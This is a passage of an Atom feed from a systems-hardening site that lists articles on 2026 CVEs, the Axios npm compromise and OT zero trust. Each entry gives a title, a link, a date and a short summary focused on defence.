    <title>nginx-ui MCPwn: Unauthenticated RCE via Exposed MCP Management Endpoint (CVE-2026-33032)</title>
    <link href="https://www.systemshardening.com/articles/network/nginx-ui-mcp-rce/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/nginx-ui-mcp-rce/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>nginx-ui MCPwn: Unauthenticated RCE via Exposed MCP Management Endpoint (CVE-2026-33032)
The Problem
nginx-ui introduced a Model Context Protocol server endpoint in late 2025 so that AI assistants —...</summary>
  </entry>
  
  <entry>
    <title>Private npm Registry as Supply Chain Control: Blocking the Axios Attack Pattern</title>
    <link href="https://www.systemshardening.com/articles/network/private-npm-registry-supply-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/private-npm-registry-supply-chain/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Private npm Registry as Supply Chain Control: Blocking the Axios Attack Pattern
The Problem
Every developer and CI runner in an organisation that pointed directly at registry.npmjs.org was exposed to...</summary>
  </entry>
  
  <entry>
    <title>Roxy-WI LDAP Injection: Unauthenticated Auth Bypass via CVE-2026-33432</title>
    <link href="https://www.systemshardening.com/articles/network/roxy-wi-ldap-injection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/roxy-wi-ldap-injection/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Roxy-WI LDAP Injection: Unauthenticated Auth Bypass via CVE-2026-33432
The Problem
Roxy-WI is an open-source web interface used by network teams to manage HAProxy, Nginx, Apache, and Keepalived across...</summary>
  </entry>
  
  <entry>
    <title>Grafana Datasource Auth Bypass: CVE-2026-27880 and HTTP Path Normalisation</title>
    <link href="https://www.systemshardening.com/articles/observability/grafana-datasource-auth-bypass/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/grafana-datasource-auth-bypass/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>The Problem
CVE-2026-27880 exploits a path normalisation inconsistency between Grafana’s HTTP router and its authorisation middleware. Grafana’s router normalises double slashes in incoming URL paths...</summary>
  </entry>
  
  <entry>
    <title>OTel Collector Remote Configuration Security: Hardening the OpAMP Trust Boundary</title>
    <link href="https://www.systemshardening.com/articles/observability/otel-collector-remote-config-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/otel-collector-remote-config-security/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>OTel Collector Remote Configuration Security: Hardening the OpAMP Trust Boundary
The Problem
Whoever controls the OpAMP server controls every pipeline configuration across your entire OTel Collector...</summary>
  </entry>
  
  <entry>
    <title>SBOM-Driven Supply Chain Compromise Detection: Finding Axios 1.14.1 in Production</title>
    <link href="https://www.systemshardening.com/articles/observability/sbom-supply-chain-compromise-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/sbom-supply-chain-compromise-detection/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>SBOM-Driven Supply Chain Compromise Detection: Finding Axios 1.14.1 in Production
The Problem
On March 31 2026, when the Axios compromise was disclosed, the first question every security team asked...</summary>
  </entry>
  
  <entry>
    <title>WASM-Compiled Supply Chain Scanning Tools: Portable npm Security for Any CI Environment</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-supply-chain-scanning-tools/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-supply-chain-scanning-tools/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM-Compiled Supply Chain Scanning Tools: Portable npm Security for Any CI Environment
The Problem
When the Axios compromise was disclosed on March 31 2026, security teams needed to run two types of...</summary>
  </entry>
  
  <entry>
    <title>Wasmtime aarch64 Sandbox Escape: CVE-2026-34971 and Cranelift Compiler Security</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmtime-aarch64-sandbox-escape/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmtime-aarch64-sandbox-escape/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Wasmtime aarch64 Sandbox Escape: CVE-2026-34971 and Cranelift Compiler Security
The Problem
CVE-2026-34971 breaks Wasmtime’s core security guarantee: that WASM guest code can only access memory within...</summary>
  </entry>
  
  <entry>
    <title>Wasmtime Component String Transcoding OOB Read: CVE-2026-34941</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasmtime-component-string-transcoding/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasmtime-component-string-transcoding/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Wasmtime Component String Transcoding OOB Read: CVE-2026-34941
The Problem
CVE-2026-34941 is an out-of-bounds read in Wasmtime’s component model string transcoding path that leaks exactly one byte of...</summary>
  </entry>
  
  <entry>
    <title>AI-Assisted npm Package Anomaly Detection: Catching Supply Chain Attacks Before Install</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-npm-package-anomaly-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-npm-package-anomaly-detection/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI-Assisted npm Package Anomaly Detection: Catching Supply Chain Attacks Before Install
The Problem
Static analysis tools — npm audit, Snyk, Socket.dev — operate on known-bad signatures: CVE IDs,...</summary>
  </entry>
  
  <entry>
    <title>AI in OT Risk Assessment: CISA&#39;s Framework for Safe AI Procurement</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-ot-risk-assessment/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-ot-risk-assessment/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI in OT Risk Assessment: CISA’s Framework for Safe AI Procurement
The Problem
AI vendors are increasingly targeting OT markets with products that promise predictive maintenance, anomaly detection,...</summary>
  </entry>
  
  <entry>
    <title>AI for OT Security Operations: CISA&#39;s Framework for Safe ML in ICS</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-ot-security-operations/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-ot-security-operations/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI for OT Security Operations: CISA’s Framework for Safe ML in ICS
The Problem
IT security operations centres have adopted AI/ML for alert triage, anomaly detection, and threat hunting over the past...</summary>
  </entry>
  
  <entry>
    <title>Milvus Vector Database Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/milvus-vector-db-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/milvus-vector-db-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Milvus Vector Database Security Hardening
Problem
Milvus is an open-source vector database purpose-built for AI and machine learning applications. Rather than storing structured rows or JSON...</summary>
  </entry>
  
  <entry>
    <title>HuggingFace Transformers Checkpoint Security</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/transformers-checkpoint-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/transformers-checkpoint-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>HuggingFace Transformers Checkpoint Security
Problem
Training a large neural network is an expensive, long-running process that can span days or weeks on clusters of GPU machines. To protect against...</summary>
  </entry>
  
  <entry>
    <title>vLLM Multimodal RCE: Hardening Against CVE-2026-22778</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/vllm-multimodal-rce-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/vllm-multimodal-rce-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>vLLM Multimodal RCE: Hardening Against CVE-2026-22778
The Problem
CVE-2026-22778 is a two-stage, unauthenticated remote code execution vulnerability in vLLM’s multimodal inference pipeline. CVSS 9.8...</summary>
  </entry>
  
  <entry>
    <title>Argo Workflows Controller DoS: Hardening Against CVE-2026-40886</title>
    <link href="https://www.systemshardening.com/articles/cicd/argo-workflows-controller-dos/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/argo-workflows-controller-dos/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Argo Workflows Controller DoS: Hardening Against CVE-2026-40886
The Problem
CVE-2026-40886 allows any user who can create a pod with the annotation workflows.argoproj.io/pod-gc-strategy to crash the...</summary>
  </entry>
  
  <entry>
    <title>Crossplane Provider and Credential Security</title>
    <link href="https://www.systemshardening.com/articles/cicd/crossplane-provider-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/crossplane-provider-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Crossplane Provider and Credential Security
Problem
Crossplane is a CNCF graduated open source project that extends Kubernetes with the ability to provision and manage cloud infrastructure using...</summary>
  </entry>
  
  <entry>
    <title>Go Crypto and x509 Security in CI/CD Pipelines</title>
    <link href="https://www.systemshardening.com/articles/cicd/go-crypto-cicd-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/go-crypto-cicd-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>Go Crypto and x509 Security in CI/CD Pipelines
Problem
Virtually every major CI/CD tool in the cloud-native ecosystem is written in Go. Terraform, OpenTofu, kubectl, Helm, Argo CD, Flux, the Tekton...</summary>
  </entry>
  
  <entry>
    <title>npm Publish Account Hardening: Lessons from the Axios Maintainer Compromise</title>
    <link href="https://www.systemshardening.com/articles/cicd/npm-publish-account-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/npm-publish-account-hardening/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>npm Publish Account Hardening: Lessons from the Axios Maintainer Compromise
The Problem
npm’s Trusted Publishing feature was designed to close the long-lived token problem: instead of storing a...</summary>
  </entry>
  
  <entry>
    <title>GitOps for OT Network Configuration: Preventing Conduit Drift</title>
    <link href="https://www.systemshardening.com/articles/cicd/ot-gitops-network-configuration/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/ot-gitops-network-configuration/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitOps for OT Network Configuration: Preventing Conduit Drift
The Problem
OT firewall and switch configurations degrade over time through accumulating exceptions. An engineer opens a temporary port...</summary>
  </entry>
  
  <entry>
    <title>OT Patch Management: Secure Update Pipelines for ICS Environments</title>
    <link href="https://www.systemshardening.com/articles/cicd/ot-patch-management-pipeline/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/ot-patch-management-pipeline/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>OT Patch Management: Secure Update Pipelines for ICS Environments
The Problem
OT systems have unique patch constraints that make standard IT patch management practices dangerous: a firmware update to...</summary>
  </entry>
  
  <entry>
    <title>Authentik Identity Provider Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/authentik-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/authentik-security-hardening/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Authentik Identity Provider Security Hardening
Problem
Authentik is an open source identity provider written in Python and Django. It implements OAuth 2.0, OpenID Connect, SAML, LDAP, and forward...</summary>
  </entry>
  
  <entry>
    <title>Go crypto/x509 and PKI Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/go-x509-pki-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/go-x509-pki-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Go crypto/x509 and PKI Security Hardening
Problem
X.509 name constraints are an X.509 v3 certificate extension that restricts the domain names, IP addresses, or email addresses an intermediate CA is...</summary>
  </entry>
  
  <entry>
    <title>npm Maintainer Account Security and the Ecosystem Trust Model</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/npm-maintainer-account-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/npm-maintainer-account-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>npm Maintainer Account Security and the Ecosystem Trust Model
The Problem
The Axios package has 3 maintainers and 100 million weekly downloads. Compromising one maintainer account was sufficient to...</summary>
  </entry>
  
  <entry>
    <title>OT Data Integrity: Signing Process Data and PLC Configurations</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/ot-data-integrity-signing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/ot-data-integrity-signing/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>OT Data Integrity: Signing Process Data and PLC Configurations
The Problem
A power plant historian stores 10 years of process data. If an attacker modifies historical records — slightly adjusting...</summary>
  </entry>
  
  <entry>
    <title>OT Non-Person Entity Identity: PKI and Zero Trust for PLCs and RTUs</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/ot-npe-identity-pki/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/ot-npe-identity-pki/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>OT Non-Person Entity Identity: PKI and Zero Trust for PLCs and RTUs
The Problem
In most OT networks, device identity is implicit: a SCADA server trusts Modbus data from IP address 192.168.10.5 because...</summary>
  </entry>
  
  <entry>
    <title>rust-openssl Buffer Overflow in Safe Rust: CVE-2026-41676</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/rust-openssl-buffer-overflow/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/rust-openssl-buffer-overflow/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>The Problem
Rust’s ownership model, borrow checker, and type system prevent buffer overflows in safe code — that is not a marketing claim, it is a language guarantee enforced at compile time....</summary>
  </entry>
  
  <entry>
    <title>Contour Ingress Controller Security</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/contour-ingress-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/contour-ingress-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Contour Ingress Controller Security
Problem
Contour is a CNCF-graduated Kubernetes ingress controller that uses Envoy as its data plane. Rather than generating a configuration file like nginx, Contour...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Defence Against Compromised npm Packages: Lessons from Axios</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-npm-supply-chain-defence/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-npm-supply-chain-defence/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Defence Against Compromised npm Packages: Lessons from Axios
The Problem
The Axios compromise on March 31 2026 was not a slow, stealthy intrusion — it was a 3-hour blast radius. A North...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes at the IT/OT Boundary: Zero Trust for Industrial Edge</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-ot-edge-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-ot-edge-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes at the IT/OT Boundary: Zero Trust for Industrial Edge
The Problem
Kubernetes clusters deployed near OT networks routinely violate the core principle that CISA articulated in its April 2026...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes for OT Security Tooling: Deploying Malcolm and Zeek in the SOC</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-ot-security-tooling/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-ot-security-tooling/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes for OT Security Tooling: Deploying Malcolm and Zeek in the SOC
The Problem
OT SOC tooling is typically deployed as ad-hoc virtual machines or bare-metal servers, making it difficult to...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes SPDY Streaming DoS: Hardening Against CVE-2026-35469</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-spdy-streaming-dos/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-spdy-streaming-dos/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes SPDY Streaming DoS: Hardening Against CVE-2026-35469
The Problem
SPDY is a Google-era multiplexing protocol from 2012, deprecated by HTTP/2 in 2015, yet still alive inside Kubernetes for...</summary>
  </entry>
  
  <entry>
    <title>Linux algif_aead Privilege Escalation: Hardening Against CVE-2026-31431</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-algif-aead-privilege-escalation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-algif-aead-privilege-escalation/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux algif_aead Privilege Escalation: Hardening Against CVE-2026-31431
The Problem
CVE-2026-31431, designated “Copy Fail” by its reporters, is a local privilege escalation in the Linux kernel’s...</summary>
  </entry>
  
  <entry>
    <title>Linux Bluetooth L2CAP Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-bluetooth-l2cap-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-bluetooth-l2cap-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Bluetooth L2CAP Security Hardening
Problem
The Linux Bluetooth stack is a full-featured implementation of the Bluetooth protocol suite built into the mainline kernel. At the heart of it sits...</summary>
  </entry>
  
  <entry>
    <title>Linux SCADA/HMI Workstation Hardening: Operator Stations in OT Zero Trust</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-ot-hmi-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-ot-hmi-hardening/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux SCADA/HMI Workstation Hardening: Operator Stations in OT Zero Trust
The Problem
CISA’s April 2026 guidance “Adapting Zero Trust Principles to Operational Technology” identifies HMI workstations...</summary>
  </entry>
  
  <entry>
    <title>Linux OT Jump Host Hardening: Zero Trust at the IT/OT Boundary</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-ot-jump-host-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-ot-jump-host-hardening/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux OT Jump Host Hardening: Zero Trust at the IT/OT Boundary
The Problem
CISA’s April 2026 guidance “Adapting Zero Trust Principles to Operational Technology” documents a failure pattern found...</summary>
  </entry>
  
  <entry>
    <title>Linux USB Audio and ALSA Driver Security</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-usb-audio-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-usb-audio-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux USB Audio and ALSA Driver Security
Problem
The snd-usb-audio kernel module is Linux’s implementation of the USB Audio Class specification. It handles consumer headsets, professional audio...</summary>
  </entry>
  
  <entry>
    <title>Detecting Malicious npm postinstall Scripts at the Kernel Level</title>
    <link href="https://www.systemshardening.com/articles/linux/npm-postinstall-kernel-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/npm-postinstall-kernel-detection/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Detecting Malicious npm postinstall Scripts at the Kernel Level
The Problem
On March 31 2026, Axios — the JavaScript HTTP client with 100 million weekly npm downloads — was compromised by a North...</summary>
  </entry>
  
  <entry>
    <title>Caddy Web Server Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/network/caddy-web-server-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/caddy-web-server-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Caddy Web Server Security Hardening
Problem
Caddy is an open source web server and reverse proxy written in Go. Its defining characteristic is automatic HTTPS: out of the box, Caddy provisions and...</summary>
  </entry>
  
  <entry>
    <title>nginx Module and Upstream TLS Security</title>
    <link href="https://www.systemshardening.com/articles/network/nginx-module-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/nginx-module-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>nginx Module and Upstream TLS Security
Problem
nginx is architected as a small, event-driven core surrounded by a system of modules. Some modules are compiled in by default and always present:...</summary>
  </entry>
  
  <entry>
    <title>Nginx UI Backup Disclosure: Lessons from CVE-2026-27944</title>
    <link href="https://www.systemshardening.com/articles/network/nginx-ui-backup-disclosure/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/nginx-ui-backup-disclosure/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Nginx UI Backup Disclosure: Lessons from CVE-2026-27944
The Problem
The /api/backup endpoint in Nginx UI versions before 2.3.3 requires no session token, no API key, and no HTTP Basic credentials. A...</summary>
  </entry>
  
  <entry>
    <title>Detecting npm postinstall C2 Callbacks at the Network Layer</title>
    <link href="https://www.systemshardening.com/articles/network/npm-postinstall-c2-egress-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/npm-postinstall-c2-egress-detection/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Detecting npm postinstall C2 Callbacks at the Network Layer
The Problem
The Axios RAT — deployed via a stolen maintainer token on March 31 2026 by the North Korean threat actor Sapphire Sleet...</summary>
  </entry>
  
  <entry>
    <title>OT Network Segmentation: Zero Trust with ISA/IEC 62443 Zones and Conduits</title>
    <link href="https://www.systemshardening.com/articles/network/ot-network-segmentation-zero-trust/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ot-network-segmentation-zero-trust/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>OT Network Segmentation: Zero Trust with ISA/IEC 62443 Zones and Conduits
The Problem
The Purdue Model (ISA-95 levels 0–5) has been the default OT network architecture for 30 years. It provides...</summary>
  </entry>
  
  <entry>
    <title>OT Remote Access Zero Trust: Replacing Persistent Vendor VPNs</title>
    <link href="https://www.systemshardening.com/articles/network/ot-remote-access-zero-trust/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/ot-remote-access-zero-trust/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>OT Remote Access Zero Trust: Replacing Persistent Vendor VPNs
The Problem
Volt Typhoon’s documented attack path into critical infrastructure repeatedly exploits the same entry point: a vendor VPN...</summary>
  </entry>
  
  <entry>
    <title>Grafana Plugin Trust and RCE: The CVE-2026-27876 Attack Chain</title>
    <link href="https://www.systemshardening.com/articles/observability/grafana-plugin-trust-rce/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/grafana-plugin-trust-rce/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>The Problem
CVE-2026-27876 is a CVSS 9.1 vulnerability in Grafana that chains two distinct weaknesses to produce remote code execution from a Viewer-level account. The first weakness lives in the SQL...</summary>
  </entry>
  
  <entry>
    <title>Runtime Detection of npm Supply Chain RAT Behaviour: Observing the Axios Attack Pattern</title>
    <link href="https://www.systemshardening.com/articles/observability/npm-supply-chain-runtime-detection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/npm-supply-chain-runtime-detection/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Runtime Detection of npm Supply Chain RAT Behaviour: Observing the Axios Attack Pattern
The Problem
The Axios RAT executed in a sequence that lasted approximately 10–30 seconds from npm install to...</summary>
  </entry>
  
  <entry>
    <title>OT Incident Response and Forensics: CISA&#39;s ICS Evidence Guidance</title>
    <link href="https://www.systemshardening.com/articles/observability/ot-incident-response-forensics/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/ot-incident-response-forensics/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>OT Incident Response and Forensics: CISA’s ICS Evidence Guidance
The Problem
When CISA investigated Volt Typhoon intrusions into OT networks, forensic reconstruction was severely hampered by the...</summary>
  </entry>
  
  <entry>
    <title>OT Network Monitoring with CISA Malcolm: Visibility for ICS/SCADA</title>
    <link href="https://www.systemshardening.com/articles/observability/ot-network-monitoring-malcolm/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/ot-network-monitoring-malcolm/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>OT Network Monitoring with CISA Malcolm: Visibility for ICS/SCADA
The Problem
Most OT networks have zero network visibility: Modbus, DNP3, and PROFINET traffic flows between PLCs, RTUs, and HMIs with...</summary>
  </entry>
  
  <entry>
    <title>OpenTelemetry Language SDK Security</title>
    <link href="https://www.systemshardening.com/articles/observability/otel-sdk-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/otel-sdk-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>OpenTelemetry Language SDK Security
Problem
The OTel Collector and the OTel language SDKs address different parts of the observability pipeline, and they present different security surfaces. The OTel...</summary>
  </entry>
  
  <entry>
    <title>Wazuh Cluster Security Hardening</title>
    <link href="https://www.systemshardening.com/articles/observability/wazuh-cluster-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/wazuh-cluster-security/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Wazuh Cluster Security Hardening
Problem
Wazuh is an open source security platform that combines SIEM, XDR (Extended Detection and Response), and compliance capabilities into a unified, self-hosted...</summary>
  </entry>
  
  <entry>
    <title>cargo-component WASM Build Tool Supply Chain Security</title>
    <link href="https://www.systemshardening.com/articles/wasm/cargo-component-supply-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/cargo-component-supply-chain/</id>
    <published>2026-05-03T00:00:00.000Z</published>
    <updated>2026-05-03T00:00:00.000Z</updated>
    <category term="wasm"/>
